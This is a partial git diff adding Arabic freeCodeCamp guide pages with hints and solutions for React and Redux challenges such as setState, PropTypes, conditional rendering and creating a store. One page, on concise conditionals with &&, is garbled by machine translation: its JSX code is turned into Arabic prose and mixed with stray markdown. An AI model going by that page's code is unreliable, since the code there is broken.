+      <button onClick={this.toggleDisplay}>Toggle Display</button> 
+    </div> 
+  ) 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md
new file mode 100644
index 0000000000..9882a9e278
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md
@@ -0,0 +1,28 @@
+---
+title: Review Using Props with Stateless Functional Components
+localeTitle: استعراض استخدام الدعائم مع مكونات وظيفية عديمة الحالة
+---
+## استعراض استخدام الدعائم مع مكونات وظيفية عديمة الحالة
+
+### إشارة
+
+*   المكون الوظيفي (المجهول عديم الحالة) هو مجرد وظيفة جافا سكريبت عادي يأخذ الدعائم كوسيطة ويعيد عنصر تفاعل.
+*   استخدم `Component.defaultProps` لتعيين الأدوات الافتراضية.
+*   استخدم `Component.propTypes` لتعيين أنواع الدعائم.
+
+### حل
+
+ `const Camper = props => (<p>{props.name}</p>); 
+ 
+ Camper.defaultProps = { 
+  name: 'CamperBot' 
+ }; 
+ 
+ Camper.propTypes = { 
+  name: PropTypes.string.isRequired 
+ }; 
+` 
+
+### رابط ذو صلة
+
+*   [فحص مع PropTypes](https://reactjs.org/docs/typechecking-with-proptypes.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md
new file mode 100644
index 0000000000..101c00a8da
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md
@@ -0,0 +1,64 @@
+---
+title: Set State with this.setState
+localeTitle: قم بتعيين الحالة مع هذا .setState
+---
+## قم بتعيين الحالة مع هذا .setState
+
+#### تلميح 1:
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'Initial State' 
+    }; 
+    this.handleClick = this.handleClick.bind(this); 
+  } 
+  handleClick() { 
+    // change code below this line 
+       // Update the state data by using "this.setState()" method. 
+       // You can look to the sample inside the description for calling "setState()" method. 
+    // change code above this line 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.handleClick}>Click Me</button> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+## حل
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'Initial State' 
+    }; 
+    this.handleClick = this.handleClick.bind(this); 
+  } 
+  handleClick() { 
+    // change code below this line 
+    this.setState({ 
+      name: 'React Rocks!' 
+    }); 
+    // change code above this line 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.handleClick}>Click Me</button> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+` 
+
+### شرح الشفرة:
+
+عندما ينقر المستخدمون على الزر "the handleClick ()" سيتم استدعاء طريقة و داخل هذه الطريقة سيتم تحديث بيانات حالة constuctor\`s بواسطة "setState ()" الطريقة. ثم سيتم تغيير علامة h1 مع البيانات الجديدة لحالة المنشئ.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md
new file mode 100644
index 0000000000..fa34c4f445
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md
@@ -0,0 +1,61 @@
+---
+title: Use && for a More Concise Conditional
+localeTitle: استخدم && من أجل شرطي أكثر موجزًا
+---
+## استخدم && من أجل شرطي أكثر موجزًا
+
+المثال المعطى هو
+
+ `{condition && <p>markup</p>} 
+` 
+
+والذي يظهر أدناه باستخدام حالة this.state.dinnerCoined boolean. إذا كان الأمر المنطقي صحيحًا ، فسيتم عرض الترميز المضمن في {} مع الشرط ، وإلا فلن يتم عرضه
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      dinnerCooked: true 
+    } 
+  } 
+  render() { 
+    return ( 
+       <div> 
+         {this.state.dinnerCooked &&<h1>Dinner is Cooked!</h1>}//h1 tag contents will be displayed 
+       </div> 
+    ); 
+  } 
+ }; 
+ 
+ ## Hint: 
+ 
+ You don't have to do a full ```if/then``` statement. Just write the condition you are checking. 
+ 
+ ## Solution: 
+ 
+ As you can see, you don't have to write the full ```if/then``` statement. We only need to check the condition and see if it returns ```true``` or ```false```. In this case, we are checking the value of ```display```. If the value is ```true```, then you return the value to the right of ```&&```, which is ```<h1>Displayed!</h1>```. If the condition is ```false```, it returns nothing. 
+` 
+
+JSX فئة MyComponent تمتد إلى React.Component { منشئ (الدعائم) { السوبر (الدعائم)؛ this.state = { dinnerCooked: false }  
+} يجعل() {  
+إرجاع (
+
+{this.state.dinnerCooked &&
+
+# العشاء مطهو!
+
+} // لن يتم عرض محتويات العلامة h1 العرض: صحيح } this.toggleDisplay = this.toggleDisplay.bind (this)؛ } toggleDisplay () { this.setState ({ display:! this.state.display })؛ } يجعل() { // تغيير رمز أدناه هذا الخط إرجاع (
+
+تبديل العرض {this.state.display &&
+
+# عرض!
+
+}
+
+)؛ } }؛ \`\` \` Explanation from [ReactJS.org documentation](https://reactjs.org/docs/conditional-rendering.html)
+
+يمكنك تضمين أي تعبيرات في JSX من خلال لفها في أقواس معقوفة. وهذا يشمل جافا سكريبت المنطقي && المشغل. يمكن أن يكون سهلًا بما في ذلك أحد العناصر بشكل مشروط
+
+يعمل ذلك لأنه في جافا سكريبت ، يتم تقييم true && expression دائمًا للتعبير ، ويتم تقييم false && expression دائمًا إلى false.
+
+لذلك ، إذا كان الشرط صحيحًا ، فسيظهر العنصر بعد &&&hl=ar مباشرةً في الإخراج. إذا كانت خاطئة ، سوف يتجاهل React ويتخطاه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md
new file mode 100644
index 0000000000..051d66fb1b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md
@@ -0,0 +1,40 @@
+---
+title: Use a Ternary Expression for Conditional Rendering
+localeTitle: استخدم تعبير Ternary للعرض الشرطي
+---
+## استخدم تعبير Ternary للعرض الشرطي
+
+هذا التحدي هو استخدام Ternary Expression فقط بدلاً من استخدام `If/Else` في التعليمات البرمجية ،
+
+## ملحوظة
+
+يتكون المشغل الثلاثي من ثلاثة أجزاء ، ولكن يمكنك الجمع بين عدة تعبيرات ثلاثية معًا. وإليك البنية الأساسية:
+
+ `condition ? expressionIfTrue : expressionIfFalse 
+` 
+
+## حل
+
+هنا هو الحل عينة من استخدام التعبير الثلاثي. أولا تحتاج إلى إعلان الدولة في منشئ مثل هذا
+
+ `constructor(props) { 
+    super(props); 
+    // change code below this line 
+      this.state = { 
+        input: '', 
+        userAge: '' 
+      } 
+    // change code above this line 
+    this.submit = this.submit.bind(this); 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+` 
+
+ثم المشغل الثلاثي
+
+ `{ 
+    /* change code here */ 
+    (this.state.userAge >= 18) ? buttonTwo : (this.state.userAge== '')? buttonOne: buttonThree 
+ 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md
new file mode 100644
index 0000000000..1859b9ea2f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md
@@ -0,0 +1,23 @@
+---
+title: Use Advanced JavaScript in React Render Method
+localeTitle: استخدم جافا سكريبت المتقدمة في طريقة رد الفعل
+---
+## استخدم جافا سكريبت المتقدمة في طريقة رد الفعل
+
+### طريقة
+
+عندما تكون داخل طريقة التقديم وليس داخل أسلوب الإرجاع ، يمكنك كتابة JavaScript **بدون** لفها داخل الأقواس المتعرجة.
+
+أولاً ، سيكون عليك تعيين "إجابة" ثابتة على قيمة. قم بالوصول إلى صفيف "possibleAnswers" باستخدام قيمة "randomIndex" ، والتي تقع داخل حالة المكون الخاص بك. تذكر ، يمكنك الوصول إلى الحالة باستخدام `this.state` .
+
+### حل
+
+ `const answer = possibleAnswers[this.state.randomIndex]; 
+` 
+
+بعد ذلك ، أدخل "الإجابة" الخاصة بك في علامات p. تأكد من لفها بأقواس معقوفة `{ }` .
+
+ `<p> 
+  {answer} 
+ </p> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md
new file mode 100644
index 0000000000..788307e58d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md
@@ -0,0 +1,68 @@
+---
+title: Use Array.filter() to Dynamically Filter an Array
+localeTitle: استخدم Array.filter () Dynamically تصفية صفيف
+---
+## استخدم Array.filter () Dynamically تصفية صفيف
+
+## تلميح 1:
+
+استخدم `.filter()` لإنشاء مصفوفة جديدة تعرض فقط للمستخدمين عبر الإنترنت.
+
+`this.state.users.filter(i => i.online == true)`
+
+## تلميح 2:
+
+استخدم `.map()` من التمرين السابق السابق لسرد المستخدمين عبر الإنترنت ومنحهم مفتاحًا فريدًا.
+
+`usersOnline.map((i) => <li key={i.username + 1}>{i.username}</li>)`
+
+## حل:
+
+ستقوم كلتا الطريقتين معاً بتصفية المصفوفة أولاً ثم سردها بشكل فردي.
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      users: [ 
+        { 
+          username: 'Jeff', 
+          online: true 
+        }, 
+        { 
+          username: 'Alan', 
+          online: false 
+        }, 
+        { 
+          username: 'Mary', 
+          online: true 
+        }, 
+        { 
+          username: 'Jim', 
+          online: false 
+        }, 
+        { 
+          username: 'Sara', 
+          online: true 
+        }, 
+        { 
+          username: 'Laura', 
+          online: true 
+        } 
+      ] 
+    } 
+  } 
+  render() { 
+    const usersOnline = this.state.users.filter(i => i.online == true); // change code here 
+    const renderOnline = usersOnline.map((i) => <li key={i.username + 1}>{i.username}</li>); // change code here 
+    return ( 
+       <div> 
+         <h1>Current Online Users:</h1> 
+         <ul> 
+           {renderOnline} 
+         </ul> 
+       </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md
new file mode 100644
index 0000000000..4b51e8638e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md
@@ -0,0 +1,71 @@
+---
+title: Use Array.map() to Dynamically Render Elements
+localeTitle: استخدم Array.map () Dynamically Render Elements
+---
+## استخدم Array.map () Dynamically Render Elements
+
+## تلميح 1:
+
+حدد الدولتين `object` JavaScript.
+
+ `{object: state, object: state} 
+` 
+
+## تلميح 2:
+
+تحتاج `.map()` لإنشاء خط لكل كائن في الصفيف.
+
+ `this.state.toDoList.map(i => <li>{i}</li>); 
+` 
+
+## حل:
+
+بمجرد إضافة وظيفة الخريطة ، ستلاحظ أنها ستقوم بإنشاء `<li>` لكل عنصر تضعه في القائمة.
+
+ `const textAreaStyles = { 
+  width: 235, 
+  margin: 5 
+ }; 
+ 
+ class MyToDoList extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // change code below this line 
+    this.state = { 
+      userInput: '', 
+      toDoList: [] 
+    } 
+    // change code above this line 
+    this.handleSubmit = this.handleSubmit.bind(this); 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleSubmit() { 
+    const itemsArray = this.state.userInput.split(','); 
+    this.setState({ 
+      toDoList: itemsArray 
+    }); 
+  } 
+  handleChange(e) { 
+    this.setState({ 
+      userInput: e.target.value 
+    }); 
+  } 
+  render() { 
+    const items = this.state.toDoList.map(i => <li>{i}</li>); // change code here 
+    return ( 
+      <div> 
+        <textarea 
+          onChange={this.handleChange} 
+          value={this.state.userInput} 
+          style={textAreaStyles} 
+          placeholder="Separate Items With Commas" /><br /> 
+        <button onClick={this.handleSubmit}>Create List</button> 
+        <h1>My "To Do" List:</h1> 
+        <ul> 
+          {items} 
+        </ul> 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-default-props/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-default-props/index.md
new file mode 100644
index 0000000000..9d73b09acb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-default-props/index.md
@@ -0,0 +1,33 @@
+---
+title: Use Default Props
+localeTitle: استخدام الدعائم الافتراضية
+---
+## استخدام الدعائم الافتراضية
+
+هذا التحدي قد قمت بتعريف دعم افتراضي لمكون ShoppingCart
+
+ `const ShoppingCart = (props) => { 
+  return ( 
+    <div> 
+      <h1>Shopping Cart Component</h1> 
+    </div> 
+  ) 
+ }; 
+` 
+
+لإعلان دعامة افتراضية ، فإن الصيغة التي يجب اتباعها هي
+
+ `itemName.defaultProps = { 
+  prop-x: value, 
+  prop-y: value 
+ } 
+` 
+
+باتباع "بناء الجملة" ، يجب أن يتم تعريف التعليمة البرمجية التالية أدناه التعليمات البرمجية المحددة
+
+ `ShoppingCart.defaultProps = { 
+  items: 0 
+ } 
+` 
+
+هذا يعلن دعامة تسمى "العناصر" بقيمة "0".
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md
new file mode 100644
index 0000000000..30aa0fe15d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md
@@ -0,0 +1,26 @@
+---
+title: Use PropTypes to Define the Props You Expect
+localeTitle: استخدم PropTypes لتحديد الدعائم التي تتوقعها
+---
+## استخدم PropTypes لتحديد الدعائم التي تتوقعها
+
+هذا التحدي قد قمت بتعيين `propTypes` لمكون `Items` .
+
+ `const Items = (props) => { 
+  return <h1>Current Quantity of Items in Cart: {props.quantity}</h1> 
+ }; 
+` 
+
+لتعيين propTypes ، فإن الصيغة التي يجب اتباعها هي
+
+ `itemName.propTypes = { 
+  props: PropTypes.dataType.isRequired 
+ }; 
+` 
+
+بعد التركيب، يجب وضع التعليمات البرمجية التالية أدناه رمز نظرا ل `quantity` الدعائم من `Items` عنصر
+
+ `Items.propTypes = { 
+  quantity: PropTypes.number.isRequired 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md
new file mode 100644
index 0000000000..07edbe8e72
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md
@@ -0,0 +1,21 @@
+---
+title: Use React to Render Nested Components
+localeTitle: استخدم React لتقديم العناصر المتداخلة
+---
+## استخدم React لتقديم العناصر المتداخلة
+
+لقد تعلمت في الدروس السابقة ، أن هناك طريقتين لإنشاء مكون React:
+
+1.  مكون وظيفي عديم الحالة - باستخدام وظيفة JavaScript.
+    
+2.  حدد مكون React باستخدام بنية ES6.
+    
+
+في هذا الاختبار ، قمنا بتعريف مكونين وظيفيين عديمي الأهلية ، أي استخدام وظائف JavaScript. تذكر ، بمجرد إنشاء مكون ، يمكن تقديمه بنفس طريقة علامة HTML ، باستخدام اسم المكون داخل أقواس فتح وإغلاق HTML. على سبيل المثال ، لتضمين مكون يدعى Dog داخل مكون رئيسي يسمى Animals ، يمكنك ببساطة إرجاع مكون Dog من مكون الحيوانات مثل:
+
+ `return ( 
+  <Dog /> 
+ ) 
+` 
+
+جرب هذا مع مكونات TypesOfFruit و Fruits.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md
new file mode 100644
index 0000000000..5131133908
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md
@@ -0,0 +1,61 @@
+---
+title: Use State to Toggle an Element
+localeTitle: استخدم الدولة لتبديل عنصر
+---
+## استخدم الدولة لتبديل عنصر
+
+*   يمكنك تبديل عنصر عن طريق فحص وتغيير حالته.
+
+## تلميح 1:
+
+*   تذكر أن تربط `this` بمنشئ الطريقة.
+
+ `    this.toggleVisibility = this.toggleVisibility.bind(this); 
+` 
+
+## تلميح 2:
+
+*   تذكر ، يمكنك استخدام وظيفة JavaScript للتحقق من حالة عنصر ما.
+
+## حل:
+
+ `class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      visibility: false 
+    }; 
+    // change code below this line 
+    this.toggleVisibility = this.toggleVisibility.bind(this); 
+    // change code above this line 
+  } 
+  // change code below this line 
+  toggleVisibility() { 
+    if (this.state.visibility == true) { 
+    this.setState({ 
+      visibility: false 
+    });} else { 
+      this.setState({ 
+        visibility: true 
+      }) 
+    } 
+  } 
+  // change code above this line 
+  render() { 
+    if (this.state.visibility) { 
+      return ( 
+        <div> 
+          <button onClick={this.toggleVisibility}>Click Me</button> 
+          <h1>Now you see me!</h1> 
+        </div> 
+      ); 
+    } else { 
+      return ( 
+        <div> 
+          <button onClick={this.toggleVisibility}>Click Me</button> 
+        </div> 
+      ); 
+    } 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md
new file mode 100644
index 0000000000..550c386271
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Lifecycle Method componentDidMount
+localeTitle: استخدم مكون Lifecycle Method componentDidMount
+---
+## استخدم مكون Lifecycle Method componentDidMount
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md
new file mode 100644
index 0000000000..bf9f9cb772
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Lifecycle Method componentWillMount
+localeTitle: استخدم مكون أسلوب دورة الحياةويتم العمل
+---
+## استخدم مكون أسلوب دورة الحياةويتم العمل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md
new file mode 100644
index 0000000000..cdf6fcafea
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/write-a-react-component-from-scratch/index.md
@@ -0,0 +1,38 @@
+---
+title: Write a React Component from Scratch
+localeTitle: اكتب مكون React من سكراتش
+---
+## اكتب مكون React من سكراتش
+
+في هذا التحدي ، نرغب في إنشاء مكون تفاعل `class` (يمكن أن تكون مكونات React مكونات `class` أو مكونات `function` ). جميع مكونات الفصل لدينا ستكون `React.Component` لـ `React.Component` . على سبيل المثال ، يمكننا البدء في إنشاء مكون يسمى `FirstComponent` مع:
+
+ `class FirstComponent extends React.Component { 
+ 
+ }; 
+` 
+
+نحتاج أيضًا إلى التأكد من تعريف `constructor` لفئتنا الجديدة. ومن أفضل الممارسات لاستدعاء أي مكون `constructor` مع `super` ولتمرير `props` على حد سواء. `super` تسحب `constructor` الفئة الأصل المكون لدينا (في هذه الحالة `React.Component` ). الآن ، تبدو الشفرة الخاصة بمكوننا كما يلي:
+
+ `class FirstComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+ 
+ }; 
+` 
+
+الآن كل ما تبقى القيام به هو تحديد ما `render` ! نقوم بذلك عن طريق استدعاء طريقة `render` المكون ، وإرجاع رمز JSX الخاص بنا:
+
+ `class FirstComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      // The JSX code you put here is what your component will render 
+    ); 
+  } 
+ }; 
+` 
+
+بمجرد وجود شفرة JSX الخاصة بك ، اكتمل المكون الخاص بك! إذا كنت تريد تعليمي أكثر دقة من مكونات React [كتب](https://medium.freecodecamp.org/how-to-write-your-first-react-js-component-d728d759cabc) سامر بونا [مقالة رائعة](https://medium.freecodecamp.org/how-to-write-your-first-react-js-component-d728d759cabc) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/react/write-a-simple-counter/index.md b/client/src/guide/arabic/certifications/front-end-libraries/react/write-a-simple-counter/index.md
new file mode 100644
index 0000000000..aa437da44f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/react/write-a-simple-counter/index.md
@@ -0,0 +1,67 @@
+---
+title: Write a Simple Counter
+localeTitle: اكتب عداد بسيط
+---
+## اكتب عداد بسيط
+
+#### تلميح 1:
+
+ ``class Counter extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      count: 0 
+    }; 
+    // change code below this line 
+         // Remember the previous challange. 
+         // Bind "this" for each of these three method (increment(),decrement() and reset()). 
+    // change code above this line 
+  } 
+  // change code below this line 
+         // Define these three method here. 
+         // Inside these methods, call "setState()" method to update the data of construtor`s state. 
+  // change code above this line 
+  render() { 
+    return ( 
+      <div> 
+        <button className='inc' onClick={this.increment}>Increment!</button> 
+        <button className='dec' onClick={this.decrement}>Decrement!</button> 
+        <button className='reset' onClick={this.reset}>Reset</button> 
+        <h1>Current Count: {this.state.count}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+`` 
+
+## حل:
+
+ `class Counter extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      count: 0 
+    }; 
+    // change code below this line 
+      this.increment = this.increment.bind(this); 
+      this.decrement = this.decrement.bind(this); 
+      this.reset = this.reset.bind(this); 
+    // change code above this line 
+  } 
+  // change code below this line 
+    increment(){this.setState({count: this.state.count + 1})} 
+    decrement(){this.setState({count: this.state.count - 1})} 
+    reset(){this.setState({count: 0})} 
+  // change code above this line 
+  render() { 
+    return ( 
+      <div> 
+        <button className='inc' onClick={this.increment}>Increment!</button> 
+        <button className='dec' onClick={this.decrement}>Decrement!</button> 
+        <button className='reset' onClick={this.reset}>Reset</button> 
+        <h1>Current Count: {this.state.count}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md
new file mode 100644
index 0000000000..92ea91b9d7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md
@@ -0,0 +1,9 @@
+---
+title: Combine Multiple Reducers
+localeTitle: الجمع بين متعددة المخفضات
+---
+## الجمع بين متعددة المخفضات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/combine-multiple-reducers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md
new file mode 100644
index 0000000000..4ab72db2c7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md
@@ -0,0 +1,9 @@
+---
+title: Copy an Object with Object.assign
+localeTitle: نسخ كائن مع Object.assign
+---
+## نسخ كائن مع Object.assign
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/redux/copy-an-object-with-object.assign/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/create-a-redux-store/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/create-a-redux-store/index.md
new file mode 100644
index 0000000000..cc6769eba5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/create-a-redux-store/index.md
@@ -0,0 +1,30 @@
+---
+title: Create a Redux Store
+localeTitle: قم بإنشاء مخزن Redux
+---
+## قم بإنشاء مخزن Redux
+
+هناك ثلاثة أجزاء لهذا التحدي.
+
+1.  قم بتعريف متغير `store` .
+2.  قم `createStore()` أسلوب `createStore()` .
+3.  تمرير في `reducer` كحجة.
+
+### الخطوة 1. أعلن المتغير.
+
+ `const yourVariableName; 
+` 
+
+### الخطوة 2. تعيين المتغير الخاص بك إلى طريقة.
+
+ `const yourVariableName = yourMethodName(); 
+` 
+
+تلميح: ضع في اعتبارك أن طريقة `createStore()` متاحة من الكائن Redux. على سبيل المثال: `Redux.createStore()`
+
+### الخطوة 3. تمرير في جدال للطريقة الخاصة بك.
+
+ `const yourVariableName = yourMethodName(yourArgumentName); 
+` 
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/define-a-redux-action/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/define-a-redux-action/index.md
new file mode 100644
index 0000000000..11de0d24de
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/define-a-redux-action/index.md
@@ -0,0 +1,12 @@
+---
+title: Define a Redux Action
+localeTitle: تحديد عمل Redux
+---
+## تحديد عمل Redux
+
+فيما يلي كيفية الإعلان عن إجراء Redux.
+
+ `let action={ 
+  type: 'LOGIN' 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/define-an-action-creator/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/define-an-action-creator/index.md
new file mode 100644
index 0000000000..b3b19f07b1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/define-an-action-creator/index.md
@@ -0,0 +1,27 @@
+---
+title: Define an Action Creator
+localeTitle: قم بتعريف عمل الخالق
+---
+## قم بتعريف عمل الخالق
+
+### تلميح 1
+
+يتم تعريف الدالة باستخدام بناء الجملة التالي:
+
+ `functionName(){ 
+  console.log("Do something"); 
+ } 
+` 
+
+حيث يمكن تغيير console.log حسب الحاجة.
+
+### تلميح 2
+
+يتم إرجاع القيمة باستخدام `return` الكلمة
+
+### حل
+
+ `function actionCreator(){ 
+    return action; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md
new file mode 100644
index 0000000000..736ae9e85d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/dispatch-an-action-event/index.md
@@ -0,0 +1,10 @@
+---
+title: Dispatch an Action Event
+localeTitle: إيفاد حدث عمل
+---
+## إيفاد حدث عمل
+
+إرسال إجراء LOGIN إلى مخزن Redux عن طريق استدعاء أسلوب الإرسال ثم تمرير في الإجراء الذي تم إنشاؤه بواسطة `loginAction()` .
+
+ `store.dispatch(loginAction()); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md
new file mode 100644
index 0000000000..e95043f7fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/front-end-libraries/redux/get-state-from-the-redux-store/index.md
@@ -0,0 +1,10 @@
+---
+title: Get State from the Redux Store
+localeTitle: احصل على State من مخزن Redux
+---
+## احصل على State من مخزن Redux
+
+استرداد البيانات من مخزن باستخدام أسلوب `getState()` .
+
+ `let currentState = store.getState(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md b/client/src/guide/arabic/certifications/front-end-libraries/redux/handle-an-action-in-the-store/index.md
new file mode 100644
